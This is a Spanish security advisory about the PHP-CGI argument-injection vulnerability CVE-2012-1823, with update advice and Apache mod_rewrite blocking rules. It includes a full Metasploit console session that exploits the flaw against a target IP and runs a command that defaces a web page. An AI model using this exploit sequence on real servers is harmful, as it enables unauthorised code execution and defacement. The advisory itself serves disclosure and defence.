Eindbazen, un equipo de competiciones CTF, ha descubierto una vulnerabilidad en PHP-CGI (CVE-2012-1823) que permite pasar parámetros al intérprete de PHP, como -s o -r, a través de la URL. Por ejemplo añadiendo la cadena '?-s'.
Como resultado de la inyección de estos parámetros en la URL, se puede mostrar el contenido de archivos de código fuente (que puede incluir información confidencial como, por ejemplo, contraseñas de BBDD) o ejecutar código PHP arbitrario.
Ya existen módulos para Metasploit (use exploit/multi/http/php_cgi_arg_injection
$ ./msfconsole
msf > use exploit/multi/http/php_cgi_arg_injection
msf exploit(php_cgi_arg_injection) > set RHOST 192.168.178.210
msf exploit(php_cgi_arg_injection) > set TARGETURI /phpinfo.php
msf exploit(php_cgi_arg_injection) > set PAYLOAD php/exec
msf exploit(php_cgi_arg_injection) > set CMD echo \"owned\">/var/www/html/owned.html
msf exploit(php_cgi_arg_injection) > exploit
Solucion
Ya existen módulos de la herramienta de pentesting y hacking metasploit que permiten explotar esta vulnerabilidad por lo que se recomienda actualizar cuanto antes. Se puede hacer a través del código fuente, aunque se recomienda instalarlo a través de los mecanismos de actualización de paquetes de Linux. Para sistemas Windows, se puede descargar de la web http://windows.php.net/download/.
Como alternativa, si no se puede actualizar, el fabricante propone las siguientes reglas del módulo mod_rewrite de Apache para bloquear las URLs maliciosas:
RewriteCond %{QUERY_STRING} ^(%2d|-)[^=]+$ [NC]
RewriteRule ^(.*) $1? [L]
Fuente: http://cert.inteco.es/ - Blackploit.com
Vídeo: http://eromang.zataz.com/
Referencias y más información:
http://www.pentester.es/
http://www.elladodelmal.com/
http://packetstormsecurity.org/